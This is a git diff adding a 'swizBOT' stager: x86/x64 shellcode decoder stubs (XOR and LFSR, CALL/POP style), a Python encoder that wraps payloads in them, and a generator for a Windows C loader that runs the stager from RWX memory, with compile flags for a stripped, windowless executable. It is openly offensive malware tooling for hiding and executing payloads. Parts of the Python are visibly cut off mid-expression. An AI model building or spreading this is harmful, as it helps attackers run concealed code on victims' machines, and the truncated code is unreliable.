diff --git a/stager/decoder_x64.asm b/stager/decoder_x64.asm new file mode 100644 index 0000000..690cd72 --- /dev/null +++ b/stager/decoder_x64.asm @@ -0,0 +1,23 @@ +; swizBOT decoder listing - 64-bit +; CALL/POP XOR decoder family (Jake Swiz technique) +; Placeholder bytes are 0xCC and are patched by stager/encoder.py. +; Verify: nasm -f bin decoder_x64.asm && compare with encoder output + +BITS 64 + +stub_xor_loop: + db 0xeb, 0x11, 0x5e, 0x31, 0xc9, 0x66, 0xb9, 0xcc, 0xcc, 0x80, 0x36, 0xcc, 0x48, 0xff, 0xc6, 0xe2 + db 0xf8, 0xeb, 0x05, 0xe8, 0xea, 0xff, 0xff, 0xff +stub_xor_loop_end: + +stub_xor_unrolled: + db 0xeb, 0x11, 0x5e, 0x31, 0xc0, 0xb0, 0xcc, 0x80, 0x36, 0xcc, 0x48, 0xff, 0xc6, 0xfe, 0xc8, 0x75 + db 0xf6, 0xeb, 0x05, 0xe8, 0xea, 0xff, 0xff, 0xff +stub_xor_unrolled_end: + +stub_lfsr_loop: + db 0xeb, 0x21, 0x5e, 0x31, 0xc9, 0x66, 0xb9, 0xcc, 0xcc, 0x31, 0xd2, 0xba, 0xcc, 0xcc, 0xcc, 0xcc + db 0x30, 0x16, 0xd1, 0xea, 0x73, 0x06, 0x81, 0xf2, 0x03, 0x00, 0x20, 0x80, 0x48, 0xff, 0xc6, 0xe2 + db 0xef, 0xeb, 0x05, 0xe8, 0xda, 0xff, 0xff, 0xff +stub_lfsr_loop_end: + diff --git a/stager/decoder_x86.asm b/stager/decoder_x86.asm new file mode 100644 index 0000000..4d6d4ac --- /dev/null +++ b/stager/decoder_x86.asm @@ -0,0 +1,23 @@ +; swizBOT decoder listing - 32-bit +; CALL/POP XOR decoder family (Jake Swiz technique) +; Placeholder bytes are 0xCC and are patched by stager/encoder.py. +; Verify: nasm -f bin decoder_x86.asm && compare with encoder output + +BITS 32 + +stub_xor_loop: + db 0xeb, 0x0f, 0x5e, 0x31, 0xc9, 0x66, 0xb9, 0xcc, 0xcc, 0x80, 0x36, 0xcc, 0x46, 0xe2, 0xfa, 0xeb + db 0x05, 0xe8, 0xec, 0xff, 0xff, 0xff +stub_xor_loop_end: + +stub_xor_unrolled: + db 0xeb, 0x0f, 0x5e, 0x31, 0xc0, 0xb0, 0xcc, 0x80, 0x36, 0xcc, 0x46, 0xfe, 0xc8, 0x75, 0xf8, 0xeb + db 0x05, 0xe8, 0xec, 0xff, 0xff, 0xff +stub_xor_unrolled_end: + +stub_lfsr_loop: + db 0xeb, 0x1f, 0x5e, 0x31, 0xc9, 0x66, 0xb9, 0xcc, 0xcc, 0x31, 0xd2, 0xba, 0xcc, 0xcc, 0xcc, 0xcc + db 0x30, 0x16, 0xd1, 0xea, 0x73, 0x06, 0x81, 0xf2, 0x03, 0x00, 0x20, 0x80, 0x46, 0xe2, 0xf1, 0xeb + db 0x05, 0xe8, 0xdc, 0xff, 0xff, 0xff +stub_lfsr_loop_end: + diff --git a/stager/encoder.py b/stager/encoder.py new file mode 100644 index 0000000..bae32b4 --- /dev/null +++ b/stager/encoder.py @@ -0,0 +1,530 @@ +#!/usr/bin/env python3 +""" +swizBOT stager encoder. + +XOR / LFSR position-independent decoders in the Jake Swiz CALL/POP +style for x86 (32-bit) and x64 (64-bit) Windows. The decoder is prepended +to the encoded payload; the whole blob is what a loader (or injector) +executes. Decoders are emitted as raw machine code from the byte tables +in this file; stager/decoder_x86.asm and stager/decoder_x64.asm are the +canonical NASM listings and are byte-identical (checked by --selftest). + +Decoding is verified in --selftest by executing the stub bytes in a +tiny instruction emulator (no Windows box required) and by re-assembling +the NASM listings when nasm is available. + +Usage: + python3 encoder.py payload.bin out/stager.bin + python3 encoder.py payload.bin out/stager.bin --lfsr + python3 encoder.py payload.bin out/stager.bin --noloop --arch x64 + python3 encoder.py payload.bin out/stager.bin --lfsr --loader --arch x64 + python3 encoder.py --selftest +""" + +import argparse +import random +import struct +import sys + + +# ---------------------------------------------------------------------- +# XOR / LFSR stream encoders +# ---------------------------------------------------------------------- + +def xor_encode(data, key): + return bytes(b ^ key for b in data) + + +def find_xor_key(data): + """Pick a key that produces no zero bytes in the encoded stream.""" + for key in range(1, 256): + if key not in data: + return key + raise ValueError("no safe XOR key found; use --lfsr") + + +def lfsr_encode(data, seed): + """32-bit LFSR stream (polynomial 0x80200003). Key byte is the low + byte of the state before each shift - exactly what the asm decoder + recomputes.""" + out = bytearray() + state = seed & 0xFFFFFFFF + for b in data: + out.append(b ^ (state & 0xFF)) + lsb = state & 1 + state >>= 1 + if lsb: + state ^= 0x80200003 + return bytes(out) + + +# ---------------------------------------------------------------------- +# Decoder byte tables. Layouts are fixed; only the length/key/seed +# bytes are patched. Patch offsets are explicit so the asm listings can +# be diffed byte-for-byte. +# ---------------------------------------------------------------------- + +class Stub: + def __init__(self, arch, kind, base, patches): + self.arch = arch + self.kind = kind + self.base = bytearray(base) + self.patches = patches # {name: offset} + + def patched(self, **kwargs): + out = bytearray(self.base) + for name, off in self.patches.items(): + val = kwargs[name] + if isinstance(val, int): + out[off:off + 1] = bytes([val & 0xFF]) + else: + out[off:off + len(val)] = val + return bytes(out) + + +# kind -> (arch -> stub bytes, patch map) +def _u16(v): + return struct.pack(" 127 else v + + def i32(self, off): + return struct.unpack("> 3) & 7 + rm = modrm & 7 + if modrm & 0xC0 != 0xC0 or reg != rm: + raise SystemExit(f"unsupported 31 modrm {modrm:02x}") + name = {0: "a", 1: "c", 2: "d", 3: "b", 4: "e", 5: "s"}.get(reg) + self.setr(name, 0) + self.ip = nxt + 1 + elif op in (0xB0, 0xB1, 0xB2): # mov al/cl/dl, imm8 + self.setr({0xB0: "a", 0xB1: "c", 0xB2: "d"}[op], self.u8(nxt)) + self.ip = nxt + 1 + elif op == 0xBA: # mov edx, imm32 + self.setr("d", struct.unpack(" mov cx, imm16 + sub = self.u8(nxt) + if sub != 0xB9: + raise SystemExit(f"unsupported 66 prefix opcode {sub:02x}") + low = self.code[nxt + 1] | (self.code[nxt + 2] << 8) + self.setr("c", low) + self.ip = nxt + 3 + elif op == 0x80: # 80 /2 -> xor byte [esi], imm8 + modrm = self.u8(nxt) + if modrm != 0x36: + raise SystemExit(f"unsupported 80 modrm {modrm:02x}") + imm = self.u8(nxt + 1) + base = self.r("s") + self.code[base] ^= imm + self.ip = nxt + 2 + elif op == 0x30: # 30 /r -> xor byte [r/m], r8 + modrm = self.u8(nxt) + if modrm != 0x16: # [esi] ^= dl + raise SystemExit(f"unsupported 30 modrm {modrm:02x}") + base = self.r("s") + self.code[base] ^= self.r("d") & 0xFF + self.ip = nxt + 1 + elif op == 0x81: # 81 /6 id -> xor edx, imm32 + modrm = self.u8(nxt) + if modrm != 0xF2: + raise SystemExit(f"unsupported 81 modrm {modrm:02x}") + imm = struct.unpack(" inc rsi (x64) + sub = self.u8(nxt) + if sub != 0xFF or self.u8(nxt + 1) != 0xC6: + raise SystemExit("unsupported 48-prefixed opcode") + self.setr("s", self.r("s") + 1) + self.ip = nxt + 2 + elif op == 0xFE: # FE C8 -> dec al + sub = self.u8(nxt) + if sub != 0xC8: + raise SystemExit(f"unsupported FE opcode {sub:02x}") + self.setr("a", self.r("a") - 1) + self.ip = nxt + 1 + elif op == 0x75: # jnz rel8 + if self.r("a") != 0: + self.jmp8() + else: + self.ip = nxt + 1 + elif op == 0xE2: # loop rel8 (counter = cx/ecx/rcx) + self.setr("c", self.r("c") - 1) + if self.r("c") != 0: + self.jmp8() + else: + self.ip = nxt + 1 + elif op == 0xD1: # D1 EA -> shr edx, 1 + sub = self.u8(nxt) + if sub != 0xEA: + raise SystemExit(f"unsupported D1 opcode {sub:02x}") + self.cf = self.r("d") & 1 + self.setr("d", self.r("d") >> 1) + self.ip = nxt + 1 + elif op == 0x73: # 73 rel8 -> jnc + if self.cf == 0: + self.jmp8() + else: + self.ip = nxt + 1 + else: + raise SystemExit(f"unsupported opcode {op:02x} at {self.ip}") + + def run_until(self, target): + guard = 0 + while self.ip != target: + self.step() + guard += 1 + if guard > 1 << 20: + raise SystemExit("emulator runaway") + + +def emulate_decode(stager, payload_off, bits): + """Run the stub; return the decoded payload bytes.""" + mem = bytearray(stager) + emu = Emu(mem, bits) + emu.run_until(payload_off) + return bytes(mem[payload_off:]) + + +def selftest(): + random.seed(0xC0FFEE) + payloads = [b"A", b"\x00\x01\x02", bytes(random.randbytes(200)), + bytes(random.randbytes(3000))] + total = 0 + for arch in ("x86", "x64"): + bits = 32 if arch == "x86" else 64 + for kind in ("xor-loop", "lfsr-loop", "xor-unrolled"): + for payload in payloads: + if len(payload) > MAX_LEN[kind]: + continue + if kind == "xor-loop": + try: + key = find_xor_key(payload) + except ValueError: + continue + encoded = xor_encode(payload, key) + stub = build_stub(arch, kind, len(payload), key=key) + elif kind == "lfsr-loop": + seed = random.getrandbits(32) + encoded = lfsr_encode(payload, seed) + stub = build_stub(arch, kind, len(payload), seed=seed) + else: + key = find_xor_key(payload) + encoded = xor_encode(payload, key) + stub = build_stub(arch, kind, len(payload), key=key) + + stager = stub + encoded + decoded = emulate_decode(stager, len(stub), bits) + assert decoded == payload, ( + f"{arch}/{kind}: decode mismatch for {len(payload)} bytes") + total += 1 + print(f"[+] selftest: {total} emulated decode round-trips OK (x86/x64, " + f"xor/lfsr/unrolled)") + + +def nasm_parity(): + """Byte-compare the emitted stubs with the NASM listings (when nasm + is installed and the listings are present). The listing files contain + exactly the three stubs in order: xor-loop, xor-unrolled, lfsr-loop.""" + import os + import shutil + import subprocess + import tempfile + + if shutil.which("nasm") is None: + print("[!] nasm not found; skipping listing parity check") + return + for arch in ("x86", "x64"): + asm_path = os.path.join(os.path.dirname(__file__), + f"decoder_{arch}.asm") + if not os.path.exists(asm_path): + print(f"[!] {asm_path} missing; skipping parity check") + continue + order = ["xor-loop", "xor-unrolled", "lfsr-loop"] + parts = [] + for kind in order: + table = {"xor-loop": XOR_LOOP, "xor-unrolled": XOR_UNROLLED, + "lfsr-loop": LFSR_LOOP}[kind][arch] + if kind == "xor-loop": + parts.append(table.patched(len=b"\xcc\xcc", key=0xCC)) + elif kind == "xor-unrolled": + parts.append(table.patched(len=0xCC, key=0xCC)) + else: + parts.append(table.patched(len=b"\xcc\xcc", seed=b"\xcc\xcc\xcc\xcc")) + expect = b"".join(parts) + + with tempfile.TemporaryDirectory() as tmp: + obj = os.path.join(tmp, "s.bin") + subprocess.run(["nasm", "-f", "bin", "-o", obj, asm_path], + check=True, capture_output=True) + raw = open(obj, "rb").read() + if raw != expect: + raise SystemExit( + f"nasm parity FAILED for {arch}\n got {raw.hex()}\n" + f"want {expect.hex()}") + print(f"[+] nasm parity OK: decoder_{arch}.asm matches emitted stubs") + + +def emit_asm(arch): + """Print the canonical NASM listing for one architecture.""" + kinds = [("xor_loop", XOR_LOOP[arch], "len", "key"), + ("xor_unrolled", XOR_UNROLLED[arch], "len", "key"), + ("lfsr_loop", LFSR_LOOP[arch], "len", "seed")] + out = [] + out.append("; swizBOT decoder listing - %s" % ("32-bit" if arch == "x86" else "64-bit")) + out.append("; CALL/POP XOR decoder family (Jake Swiz technique)") + out.append("; Placeholder bytes are 0xCC and are patched by stager/encoder.py.") + out.append("; Verify: nasm -f bin decoder_%s.asm && compare with encoder output" % arch) + out.append("") + if arch == "x86": + out.append("BITS 32") + else: + out.append("BITS 64") + out.append("") + for kind, stub, lenname, keyname in kinds: + out.append(f"stub_{kind}:") + blob = stub.base # patched with CC placeholders below + blob = bytearray(stub.base) + if kind == "xor_loop": + blob[stub.patches["len"]:stub.patches["len"] + 2] = b"\xCC\xCC" + blob[stub.patches["key"]] = 0xCC + elif kind == "xor_unrolled": + blob[stub.patches["len"]] = 0xCC + blob[stub.patches["key"]] = 0xCC + else: + blob[stub.patches["len"]:stub.patches["len"] + 2] = b"\xCC\xCC" + blob[stub.patches["seed"]:stub.patches["seed"] + 4] = b"\xCC\xCC\xCC\xCC" + for i in range(0, len(blob), 16): + chunk = blob[i:i + 16] + db = ", ".join("0x%02x" % b for b in chunk) + out.append(f" db {db}") + out.append(f"stub_{kind}_end:") + out.append("") + return "\n".join(out) + "\n" + + +def build(payload_path, output_path, use_lfsr, no_loop, arch, loader): + with open(payload_path, "rb") as f: + payload = f.read() + if not payload: + sys.exit("[!] payload is empty") + + if no_loop: + kind = "xor-unrolled" + elif use_lfsr: + kind = "lfsr-loop" + else: + kind = "xor-loop" + + if len(payload) > MAX_LEN[kind]: + sys.exit(f"[!] payload {len(payload)} bytes exceeds {kind} limit " + f"of {MAX_LEN[kind]} (use xor-loop/lfsr for larger blobs)") + + if use_lfsr: + seed = random.getrandbits(32) + encoded = lfsr_encode(payload, seed) + stub = build_stub(arch, kind, len(payload), seed=seed) + print(f"[+] encoding: LFSR (seed 0x{seed:08x})") + else: + key = find_xor_key(payload) + encoded = xor_encode(payload, key) + stub = build_stub(arch, kind, len(payload), key=key) + print(f"[+] encoding: XOR (key 0x{key:02x})") + + stager = stub + encoded + with open(output_path, "wb") as f: + f.write(stager) + + print(f"[+] payload: {len(payload)} bytes") + print(f"[+] decoder: {kind} ({len(stub)} bytes, {arch})") + print(f"[+] stager: {output_path} ({len(stager)} bytes)") + + if loader: + write_loader(stager, arch, "loader.c") + + +def write_loader(stager, arch, loader_path): + blob = "".join("\\x%02x" % b for b in stager) + compile_cc = ("i686-w64-mingw32-gcc" if arch == "x86" + else "x86_64-w64-mingw32-gcc") + c = f"""/* + * swizBOT loader - generated by stager/encoder.py + * Decoder family after Jake Swiz (0xXyc). + * Compile ({arch}): + * {compile_cc} {loader_path} -o loader.exe -s -Os -fno-stack-protector + * {compile_cc} {loader_path} -o loader.exe -mwindows -s -Os -fno-stack-protector + */ +#include +#include + +static unsigned char stage[] = "{blob}"; + +int main(void) {{ + void *mem = VirtualAlloc(NULL, sizeof(stage), MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE); + if (mem == NULL) return 1; + memcpy(mem, stage, sizeof(stage)); + ((void (*)(void))mem)(); + return 0; +}} +""" + with open(loader_path, "w") as f: + f.write(c) + print(f"[+] loader: {loader_path} ({compile_cc})") + + +def main(): + ap = argparse.ArgumentParser( + description="swizBOT stager encoder (CALL/POP XOR/LFSR, x86/x64)") + ap.add_argument("input", nargs="?", help="raw payload file") + ap.add_argument("output", nargs="?", help="stager output file") + ap.add_argument("--lfsr", action="store_true", help="LFSR stream encoding") + ap.add_argument("--noloop", action="store_true", + help="unrolled decoder (no loop instruction; max 255 bytes)") + ap.add_argument("--arch", choices=("x86", "x64"), default="x86", + help="decoder architecture (default x86)") + ap.add_argument("--loader", action="store_true", help="write loader.c") + ap.add_argument("--selftest", action="store_true", + help="run emulated decode round-trips and nasm parity") + ap.add_argument("--emit-asm", choices=("x86", "x64"), + help="print the canonical NASM listing for an arch") + args = ap.parse_args() + + if args.selftest: + selftest() + nasm_parity() + return + if args.emit_asm: + sys.stdout.write(emit_asm(args.emit_asm)) + return + if not args.input or not args.output: + ap.error("input and output are required (or use --selftest)") + if args.lfsr and args.noloop: + ap.error("--lfsr and --noloop are mutually exclusive") + build(args.input, args.output, args.lfsr, args.noloop, args.arch, + args.loader) + + +if __name__ == "__main__": + main()